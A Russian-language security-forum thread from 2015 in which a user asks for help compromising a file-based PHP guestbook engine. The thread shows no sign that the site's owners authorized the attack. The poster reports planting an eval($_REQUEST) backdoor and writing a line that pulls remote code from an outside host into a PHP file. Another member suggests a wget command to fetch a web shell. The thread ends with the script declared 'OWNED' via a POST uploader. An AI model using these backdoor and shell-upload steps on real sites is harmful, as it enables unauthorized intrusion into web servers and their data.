HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 22.07.2015, 01:14
kred0
Новичок
Регистрация: 22.07.2015
Сообщений: 5
Провел на форуме:
1847

Репутация: 0
По умолчанию

Собственно интересует наличие уязвимостей данного движка гостевой книги.

Есть доступ в админку

Движок работает только на файлах без использования внешних бд

В админке можно включить html код в коментариях но толку от этого никакого

Можно задать имя бд например config.php и слить дамп в формате .dat файла. но толку от этого тоже никакого т.к. из своей директории путем "../../../" выбраться нельзя.

Есть загрузка дампа для востановления бд но ни шелл ни дамп не льётся на сервер.

Исходники движка можно скачать тут:

http://gb.lugr.ru/

Может кто нибудь подскажет как разбомбить это NoName скрипт?
 
Ответить с цитированием

  #2  
Старый 27.07.2015, 15:18
kred0
Новичок
Регистрация: 22.07.2015
Сообщений: 5
Провел на форуме:
1847

Репутация: 0
По умолчанию

Через админку удалось записать бэкдор типа:

Код:
eval($_REQUEST[e]);
После чего успешно выполнил phpinfo();

далее пытаюсь залить шелл:

Код:
$fh = fopen('new.php', "a+");fwrite($fh, file_get_contents('http://somesite.ru/newfile.txt'));fclose($fh);
и мне выдаёт:

Цитата:
Сообщение от None  
Method Not Implemented

GET to /xxxx/ not supported.



Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Так же успешно выполняется команда system(ls);

но никуда попасть больше не могу... Получаю Method Not Implemented


Подскажите как действовать дальше?
 
Ответить с цитированием

  #3  
Старый 27.07.2015, 17:43
nopony
Новичок
Регистрация: 29.08.2013
Сообщений: 7
Провел на форуме:
1814

Репутация: 8
По умолчанию

Вместо ls сделай "wget http://*путь до шелла в формате txt* -o shell.php"
 
Ответить с цитированием

  #4  
Старый 27.07.2015, 17:56
kred0
Новичок
Регистрация: 22.07.2015
Сообщений: 5
Провел на форуме:
1847

Репутация: 0
По умолчанию

Цитата:
Сообщение от nopony  

Вместо ls сделай "wget
http://*путь
до шелла в формате txt* -o shell.php"
Тоже самое.

Method Not Implemented
 
Ответить с цитированием

  #5  
Старый 27.07.2015, 19:21
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

это WAF? allow_url_fopen? только с GET так? какие загрузчики пробовали? может лучше сделать мини аплоадер файлов?
 
Ответить с цитированием

  #6  
Старый 27.07.2015, 19:53
kred0
Новичок
Регистрация: 22.07.2015
Сообщений: 5
Провел на форуме:
1847

Репутация: 0
По умолчанию

Цитата:
Сообщение от yarbabin  

это WAF? allow_url_fopen? только с GET так? какие загрузчики пробовали? может лучше сделать мини аплоадер файлов?
1.По поводу WAF не знаю.

2.allow_url_fopen on

3.Пост запросы не пробовал

4.мини аплоадер методом POST?

Если можно ссылочку для примера.
 
Ответить с цитированием

  #7  
Старый 28.07.2015, 00:28
kred0
Новичок
Регистрация: 22.07.2015
Сообщений: 5
Провел на форуме:
1847

Репутация: 0
По умолчанию

Получилось сделать мини аплоадер с методом POST. Спасибо. Script OWNED
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.